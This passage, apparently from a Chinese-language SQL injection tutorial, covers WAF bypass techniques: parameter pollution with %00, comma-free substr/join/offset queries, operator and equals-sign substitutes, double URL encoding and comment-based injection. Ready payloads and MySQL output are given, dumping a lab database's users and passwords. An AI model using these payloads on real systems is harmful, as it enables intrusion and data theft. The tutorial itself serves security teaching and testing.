四、一些绕过技术
5、脚本语言特性绕过
在php语言中,id=1&id=2后面的值会自动覆盖前面的值。可以利用这点绕过一些waf的拦截
id=1%00&id=2 union select 1,2,3
有些waf会去匹配第一个id参数1%00
,%00
是截断字符,waf会自动截断,从而不会检测后面的内容。到了程序中id就是id=2 union select 1,2,3
从而绕过注入拦截
其他语言特性
6、逗号绕过
6.1、substr
截取字符串
/*查询当前库的第一个字符*/
mysql> select (substr(database() from 1 for 1));
+-----------------------------------+
| (substr(database() from 1 for 1)) |
+-----------------------------------+
| s |
+-----------------------------------+
1 row in set (0.00 sec)
/**/
mysql> select * from users where id=1 and 's'=(select(substr(database() from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select hex('s');
+----------+
| hex('s') |
+----------+
| 73 |
+----------+
1 row in set (0.00 sec)
/*s换成十六进制可以避免单引号*/
mysql> select * from users where id=1 and 0x73=(select(substr(database() from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
6.2、mid
截取字符串,与前一个函数用法相同
6.3、使用join
绕过
/*select * from users where id=1 union select 1,2,3 和select * from users where id=1 union select * from (select 1)a join (select 2)b join (select 3)c 效果一样*/
mysql> select * from users where id=1 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from users where id=1 union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from users where id=1 union select * from (select database())a join (select user())b join (select version())c;
+----------+----------------+-------------------------+
| id | username | password |
+----------+----------------+-------------------------+
| 1 | Dumb | Dumb |
| security | root@localhost | 5.5.44-0ubuntu0.14.04.1 |
+----------+----------------+-------------------------+
2 rows in set (0.00 sec)
6.4、limit offset
绕过
sql注入时,如果需要限定条目可以使用limit 0,1
返回第一条记录,当逗号用不了的时候,可以使用limit 1
来默认返回第一条记录,或者使用limit 1 offset 0
来从0开始返回第一条记录,以次来绕过waf。
mysql> select * from users limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users limit 1 offset 0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
7、or and xor not
绕过
-
and 等于 &&
-
or 等于 ||
-
not 等于 !
-
xor 等于|
mysql> select * from users where id=1 and 1=1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 && 1=1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=0 or 1=1; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+----------+------------+ 13 rows in set (0.00 sec) mysql> select * from users where id=0 || 1=1; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+----------+------------+ 13 rows in set (0.00 sec)
8、等号绕过
如果程序会对=进行拦截,可以使用Like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r'); /*rlike:r在该字符串中就行*/
/*利用正则表达式*/
mysql> select * from users where id=1 and (select user() regexp'^r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
9、二次编码绕过(url编码解码)
二次编码指的是攻击者在进行SQL注入攻击时,对恶意代码进行两次编码,以绕过应用程序的安全检测和过滤机制。通常情况下,开发人员和安全机制会对用户输入进行解码,以确保数据正确且不会导致安全问题。
例如,假设攻击者尝试进行SQL注入攻击,他们的目标是绕过如下查询:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
攻击者可能会使用两次编码来混淆输入,使得恶意代码直到数据库执行查询时才被解码。攻击者可以这样操作:
- 第一次编码,将单引号
'
转换为%27
,将空格转换为%20
,得到编码后的字符串。 - 第二次编码,将编码后的字符串再次进行编码,将
%27
转换为%2527
,将%20
转换为%2520
。
最终,恶意代码看起来像这样:
%2527%2520OR%2520%25271%2527%2520%25253D%2520%25271
当应用程序对这个输入进行解码时,它会首先解码一次,得到:
%27%20OR%20%271%27%20%3D%20%271
然后再解码一次,得到:
' OR '1' = '1
10、多参数拆分绕过
当进行SQL注入攻击时,注释符号可以用来绕过应用程序的安全措施,从而影响数据库查询的执行。以下是一个示例,演示如何使用注释符号绕过多参数的安全性检测。
假设有一个搜索功能,用户可以通过输入产品名称和价格范围来搜索数据库中的产品。应用程序可能会构建一个SQL查询,类似于这样:
SELECT * FROM products WHERE name = '用户输入的产品名称' AND price BETWEEN '用户输入的最低价格' AND '用户输入的最高价格';
攻击者可以尝试通过注入攻击绕过价格范围的检测,以下是示例Payload:
产品名称:' OR '1'='1' --
最低价格:0
最高价格:999
构建的查询如下:
SELECT * FROM products WHERE name = '' OR '1'='1' --' AND price BETWEEN '0' AND '999';
在这个示例中,'1'='1'
是真的,因此该查询将返回所有产品,而不管价格范围是否正确。
注释符号 --
被用来注释掉原始查询中的剩余部分,以确保攻击者不需要知道正确的价格范围。通过这种方式,攻击者可以影响数据库查询的行为,绕过了应用程序的安全检测。